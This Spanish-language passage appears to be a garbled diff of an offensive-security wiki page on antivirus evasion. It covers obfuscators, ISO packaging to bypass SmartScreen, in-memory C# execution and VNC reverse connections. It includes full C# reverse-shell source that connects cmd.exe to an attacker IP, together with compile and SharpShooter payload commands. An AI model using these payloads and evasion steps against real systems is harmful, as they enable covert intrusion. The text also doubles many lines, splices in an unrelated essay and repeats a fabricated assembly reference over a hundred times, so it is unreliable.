* [**obfy**](https://github.com/fritzone/obfy): Agrega una capa de operaciones ofuscadas generadas por el marco de metaprogramación de plantillas de C++ que hará la vida de la persona que quiera crackear la aplicación un poco más difícil.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz es un ofuscador de binarios x64 que es capaz de ofuscar varios archivos pe diferentes, incluyendo: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Metame es un motor de código metamórfico simple para ejecutables arbitrarios.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator es un marco de ofuscación de código de grano fino para lenguajes compatibles con LLVM que utilizan ROP (programación orientada a la devolución). ROPfuscator ofusca un programa a nivel de código de ensamblador transformando las instrucciones regulares en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal.
@ -239,7 +252,7 @@ Es importante tener en cuenta que los ejecutables firmados con un certificado de
Una forma muy efectiva de evitar que tus cargas útiles obtengan la marca de la web es empaquetarlas dentro de algún tipo de contenedor como un ISO. Esto sucede porque la marca de la web (MOTW) **no se puede aplicar** a **volúmenes que no sean NTFS**.
<figure><img src="../.gitbook/assets/image (12) (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (12) (2) (2).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) es una herramienta que empaqueta cargas útiles en contenedores de salida para evitar la marca de la web.
@ -248,44 +261,44 @@ Ejemplo de uso:
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
+ o + o + o + o
+ o + + o + +
o + + + o + + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.1.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
:: PACK MY PAYLOAD (1.1.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
o + o + +
[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe
Adding file: /TotallyLegitApp.exe
[+] Generated file written to (size: 3420160): container.iso
```
Aquí hay una demostración de cómo evitar SmartScreen empaquetando cargas útiles dentro de archivos ISO usando [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
Aquí hay una demostración para evitar SmartScreen empaquetando cargas útiles dentro de archivos ISO usando [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
<figure><img src="../.gitbook/assets/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
## Reflexión de ensamblado C#
Cargar binarios de C# en memoria ha sido conocido durante mucho tiempo y sigue siendo una forma muy efectiva de ejecutar tus herramientas de post-explotación sin ser detectado por el antivirus.
Cargar binarios de C# en memoria ha sido conocido durante mucho tiempo y sigue siendo una forma muy buena de ejecutar tus herramientas de post-explotación sin ser detectado por AV.
Dado que la carga útil se cargará directamente en la memoria sin tocar el disco, solo tendremos que preocuparnos por parchar AMSI para todo el proceso.
Dado que la carga útil se cargará directamente en memoria sin tocar el disco, solo tendremos que preocuparnos por parchear AMSI para todo el proceso.
La mayoría de los marcos de C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) ya proporcionan la capacidad de ejecutar ensamblados de C# directamente en memoria, pero hay diferentes formas de hacerlo:
* **Fork\&Run**
Implica **generar un nuevo proceso sacrificial**, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar tu código malicioso y, cuando termines, matar el nuevo proceso. Esto tiene tanto sus beneficios como sus inconvenientes. El beneficio del método de bifurcación y ejecución es que la ejecución ocurre **fuera** de nuestro proceso de implante Beacon. Esto significa que si algo en nuestra acción de post-explotación sale mal o es detectado, hay una **mayor probabilidad** de que nuestro **implante sobreviva**. La desventaja es que tienes una **mayor probabilidad** de ser detectado por **detecciones de comportamiento**.
Implica **generar un nuevo proceso sacrificial**, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar tu código malicioso y, cuando termine, matar el nuevo proceso. Esto tiene tanto sus beneficios como sus inconvenientes. El beneficio del método de bifurcación y ejecución es que la ejecución ocurre **fuera** de nuestro proceso de implante Beacon. Esto significa que si algo en nuestra acción de post-explotación sale mal o es detectado, hay una **mayor probabilidad** de que nuestro **implante sobreviva**. La desventaja es que tienes una **mayor probabilidad** de ser detectado por **detecciones de comportamiento**.
<figure><img src="../.gitbook/assets/image (7) (1) (3).png" alt=""><figcaption></figcaption></figure>
* **Inline**
Se trata de inyectar el código malicioso de post-explotación **en su propio proceso**. De esta manera, puedes evitar tener que crear un nuevo proceso y que sea escaneado por el antivirus, pero la desventaja es que si algo sale mal con la ejecución de tu carga útil, hay una **mayor probabilidad** de **perder tu beacon** ya que podría fallar.
Se trata de inyectar el código malicioso de post-explotación **en su propio proceso**. De esta manera, puedes evitar tener que crear un nuevo proceso y que sea escaneado por AV, pero la desventaja es que si algo sale mal con la ejecución de tu carga útil, hay una **mayor probabilidad** de **perder tu beacon** ya que podría fallar.
<figure><img src="../.gitbook/assets/image (9) (3).png" alt=""><figcaption></figcaption></figure>
@ -297,11 +310,11 @@ También puedes cargar ensamblados de C# **desde PowerShell**, consulta [Invoke-
## Uso de otros lenguajes de programación
Como se propone en [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), es posible ejecutar código malicioso utilizando otros lenguajes dando acceso a la máquina comprometida **al entorno del intérprete instalado en el recurso compartido SMB controlado por el atacante**.
Como se propone en [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), es posible ejecutar código malicioso utilizando otros lenguajes dando acceso a la máquina comprometida **al entorno del intérprete instalado en el recurso compartido SMB controlado por el atacante**.&#x20;
Al permitir el acceso a los binarios del intérprete y al entorno en el recurso compartido SMB, puedes **ejecutar código arbitrario en estos lenguajes dentro de la memoria** de la máquina comprometida.
El repositorio indica: Defender todavía escanea los scripts, pero al utilizar Go, Java, PHP, etc., tenemos **más flexibilidad para evitar las firmas estáticas**. Las pruebas con scripts de shell inverso aleatorios y no ofuscados en estos lenguajes han resultado exitosas.
El repositorio indica: Defender todavía escanea los scripts, pero utilizando Go, Java, PHP, etc. tenemos **más flexibilidad para evitar las firmas estáticas**. Las pruebas con scripts de shell inverso aleatorios y no ofuscados en estos lenguajes han resultado exitosas.
## Evasión avanzada
@ -309,7 +322,7 @@ La evasión es un tema muy complicado, a veces tienes que tener en cuenta muchas
Cada entorno contra el que te enfrentes tendrá sus propias fortalezas y debilidades.
Te animo a que veas esta charla de [@ATTL4S](https://twitter.com/DaniLJ94), para obtener un punto de apoyo en técnicas de evasión más avanzadas.
Te animo a que veas esta charla de [@ATTL4S](https://twitter.com/DaniLJ94), para tener una idea de las técnicas de evasión más avanzadas.
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
@ -344,7 +357,7 @@ Descárgalo desde: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc
* Establece una contraseña en _VNC Password_
* Establece una contraseña en _View-Only Password_
Luego, mueve el binario _**winvnc.exe**_ y el archivo recién creado _**UltraVNC.ini**_ dentro del **víctima**
Luego, mueve el binario _**winvnc.exe**_ y el archivo **recién** creado _**UltraVNC.ini**_ dentro del **víctima**
#### **Conexión inversa**
@ -392,39 +405,7 @@ Compílelo con:
```
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
```
```
python3 av_bypass.py
```
## Introducción
En este capítulo, aprenderemos cómo evadir la detección de antivirus (AV) utilizando técnicas de ofuscación y empaquetado. La mayoría de los AV utilizan firmas para detectar malware, lo que significa que buscan patrones específicos en el código. Al ofuscar y empaquetar nuestro código, podemos evitar que los AV detecten estas firmas y, por lo tanto, evadir la detección.
## Ofuscación
La ofuscación es el proceso de hacer que el código sea más difícil de entender para los humanos y las herramientas de análisis. Hay varias técnicas de ofuscación que podemos utilizar para evadir la detección de AV:
- **Renombramiento de variables y funciones**: cambiar los nombres de las variables y funciones puede hacer que el código sea más difícil de entender para los humanos y las herramientas de análisis.
- **Eliminación de comentarios y espacios en blanco**: eliminar los comentarios y los espacios en blanco puede hacer que el código sea más difícil de leer para los humanos y las herramientas de análisis.
- **Ofuscación de cadenas**: ofuscar las cadenas de texto puede hacer que sea más difícil para los AV detectar patrones específicos en el código.
- **Ofuscación de flujo de control**: cambiar el flujo de control del programa puede hacer que sea más difícil de entender para las herramientas de análisis.
## Empaquetado
El empaquetado es el proceso de comprimir y cifrar nuestro código para hacerlo más difícil de entender para las herramientas de análisis. Hay varias herramientas que podemos utilizar para empaquetar nuestro código:
- **PyInstaller**: PyInstaller es una herramienta que puede empaquetar nuestro código en un archivo ejecutable independiente.
- **UPX**: UPX es una herramienta que puede comprimir nuestro archivo ejecutable para hacerlo más pequeño y más difícil de entender para las herramientas de análisis.
- **Cifrado**: podemos cifrar nuestro archivo ejecutable para hacerlo más difícil de entender para las herramientas de análisis.
## Conclusión
La ofuscación y el empaquetado son técnicas efectivas para evadir la detección de AV. Al utilizar estas técnicas, podemos hacer que nuestro código sea más difícil de entender para las herramientas de análisis y, por lo tanto, evadir la detección. Sin embargo, es importante tener en cuenta que estas técnicas no son infalibles y que los AV están constantemente mejorando su capacidad para detectar malware.
¿Cómo usarlo?
```
back.exe <ATTACKER_IP> <PORT>
```
@ -442,62 +423,62 @@ using System.Net.Sockets;
namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;
public class Program
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
StringBuilder strInput = new StringBuilder();
while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
}
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}
```
### C# usando el compilador
@ -525,245 +506,40 @@ namespace Compiler
{
var provider = new CSharpCodeProvider();
var parameters = new CompilerParameters();
parameters.GenerateExecutable = true;
parameters.OutputAssembly = "output.exe";
parameters.CompilerOptions = "/target:winexe";
// Add any referenced assemblies here.
parameters.ReferencedAssemblies.Add("System.dll");
parameters.ReferencedAssemblies.Add("System.Core.dll");
parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll");
parameters.ReferencedAssemblies.Add("System.Management.dll");
parameters.ReferencedAssemblies.Add("System.Drawing.dll");
parameters.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");
parameters.ReferencedAssemblies.Add("System.Data.dll");
parameters.ReferencedAssemblies.Add("System.Xml.dll");
parameters.ReferencedAssemblies.Add("System.Xml.Linq.dll");
parameters.ReferencedAssemblies.Add("System.Configuration.dll");
parameters.ReferencedAssemblies.Add("System.Security.dll");
parameters.ReferencedAssemblies.Add("System.Numerics.dll");
parameters.ReferencedAssemblies.Add("System.Runtime.Serialization.dll");
parameters.ReferencedAssemblies.Add("System.ServiceModel.dll");
parameters.ReferencedAssemblies.Add("System.ServiceModel.Web.dll");
parameters.ReferencedAssemblies.Add("System.IdentityModel.dll");
parameters.ReferencedAssemblies.Add("System.ServiceModel.Activation.dll");
parameters.ReferencedAssemblies.Add("System.ServiceModel.Discovery.dll");
parameters.ReferencedAssemblies.Add("System.ServiceModel.Routing.dll");
parameters.ReferencedAssemblies.Add("System.Activities.dll");
parameters.ReferencedAssemblies.Add("System.Activities.Core.Presentation.dll");
parameters.ReferencedAssemblies.Add("System.Activities.Presentation.dll");
parameters.ReferencedAssemblies.Add("System.ServiceModel.Activities.dll");
parameters.ReferencedAssemblies.Add("System.WorkflowServices.dll");
parameters.ReferencedAssemblies.Add("System.DirectoryServices.dll");
parameters.ReferencedAssemblies.Add("System.DirectoryServices.AccountManagement.dll");
parameters.ReferencedAssemblies.Add("System.DirectoryServices.Protocols.dll");
parameters.ReferencedAssemblies.Add("System.EnterpriseServices.dll");
parameters.ReferencedAssemblies.Add("System.EnterpriseServices.Thunk.dll");
parameters.ReferencedAssemblies.Add("System.Transactions.dll");
parameters.ReferencedAssemblies.Add("System.Data.OracleClient.dll");
parameters.ReferencedAssemblies.Add("System.Data.SqlClient.dll");
parameters.ReferencedAssemblies.Add("System.Data.SqlServerCe.dll");
parameters.ReferencedAssemblies.Add("System.Data.SqlXml.dll");
parameters.ReferencedAssemblies.Add("System.Data.Entity.dll");
parameters.ReferencedAssemblies.Add("System.Data.Linq.dll");
parameters.ReferencedAssemblies.Add("System.Data.Linq.Design.dll");
parameters.ReferencedAssemblies.Add("System.Data.Services.Client.dll");
parameters.ReferencedAssemblies.Add("System.Data.Services.Design.dll");
parameters.ReferencedAssemblies.Add("System.Web.dll");
parameters.ReferencedAssemblies.Add("System.Web.Abstractions.dll");
parameters.ReferencedAssemblies.Add("System.Web.ApplicationServices.dll");
parameters.ReferencedAssemblies.Add("System.Web.DynamicData.dll");
parameters.ReferencedAssemblies.Add("System.Web.DynamicData.Design.dll");
parameters.ReferencedAssemblies.Add("System.Web.Entity.dll");
parameters.ReferencedAssemblies.Add("System.Web.Entity.Design.dll");
parameters.ReferencedAssemblies.Add("System.Web.Extensions.dll");
parameters.ReferencedAssemblies.Add("System.Web.Mobile.dll");
parameters.ReferencedAssemblies.Add("System.Web.RegularExpressions.dll");
parameters.ReferencedAssemblies.Add("System.Web.Routing.dll");
parameters.ReferencedAssemblies.Add("System.Web.Services.dll");
parameters.ReferencedAssemblies.Add("System.Web.WebPages.dll");
parameters.ReferencedAssemblies.Add("System.Web.WebPages.Deployment.dll");
parameters.ReferencedAssemblies.Add("System.Web.WebPages.Razor.dll");
parameters.ReferencedAssemblies.Add("System.Web.WebPages.Administration.dll");
parameters.ReferencedAssemblies.Add("System.Web.WebPages.Data.dll");
parameters.ReferencedAssemblies.Add("System.Web.WebPages.Design.dll");
parameters.ReferencedAssemblies.Add("System.Web.WebPages.Deployment.dll");
parameters.ReferencedAssemblies.Add("System.Web.WebPages.Razor.dll");
parameters.ReferencedAssemblies.Add("System.Web.WebPages.Administration.dll");
parameters.ReferencedAssemblies.Add("System.Web.WebPages.Data.dll");
parameters.ReferencedAssemblies.Add("System.Web.WebPages.Design.dll");
parameters.ReferencedAssemblies.Add("System.Web.WebSockets.dll");
parameters.ReferencedAssemblies.Add("System.Windows.dll");
parameters.ReferencedAssemblies.Add("System.Windows.Input.Manipulations.dll");
parameters.ReferencedAssemblies.Add("System.Windows.Presentation.dll");
parameters.ReferencedAssemblies.Add("System.Windows.Controls.dll");
parameters.ReferencedAssemblies.Add("System.Windows.Controls.Ribbon.dll");
parameters.ReferencedAssemblies.Add("System.Windows.Forms.DataVisualization.dll");
parameters.ReferencedAssemblies.Add("System.Windows.Forms.Design.Editors.dll");
parameters.ReferencedAssemblies.Add("System.Windows.Forms.Design.dll");
parameters.ReferencedAssemblies.Add("System.Windows.Forms.Ribbon.dll");
parameters.ReferencedAssemblies.Add("System.Windows.Forms.Ribbon.Design.dll");
parameters.ReferencedAssemblies.Add("System.Windows.Input.Manipulations.dll");
parameters.ReferencedAssemblies.Add("System.Windows.Presentation.dll");
parameters.ReferencedAssemblies.Add("System.Windows.Controls.dll");
parameters.ReferencedAssemblies.Add("System.Windows.Controls.Ribbon.dll");
parameters.ReferencedAssemblies.Add("System.Windows.Forms.DataVisualization.dll");
parameters.ReferencedAssemblies.Add("System.Windows.Forms.Design.Editors.dll");
parameters.ReferencedAssemblies.Add("System.Windows.Forms.Design.dll");
parameters.ReferencedAssemblies.Add("System.Windows.Forms.Ribbon.dll");
parameters.ReferencedAssemblies.Add("System.Windows.Forms.Ribbon.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Hosting.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.dll");
parameters.ReferencedAssemblies.Add("System.Xaml.Rx.Design.dll");
// Generate a DLL in memory.
parameters.GenerateInMemory = true;
// Compile the code.
var results = provider.CompileAssemblyFromFile(parameters, "Simple_Rev_Shell.cs");
// Check for errors.
if (results.Errors.HasErrors)
{
foreach (CompilerError error in results.Errors)
{
Console.WriteLine(error.ErrorText);
}
}
else
{
// Get the compiled assembly.
var assembly = results.CompiledAssembly;
// Invoke the entry point.
var type = assembly.GetType("Simple_Rev_Shell.Program");
var method = type.GetMethod("Main");
method.Invoke(null, new object[] { args });
}
}
}
}
```
Este código compilará el archivo `Simple_Rev_Shell.cs` en tiempo de ejecución y cargará la DLL resultante en memoria. Luego, invocará el punto de entrada del programa y ejecutará el código malicioso.
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
```
@ -807,16 +583,16 @@ https://www.shellterproject.com/download/
# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
# Stageless HTA Payload:
# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
# Staged VBS:
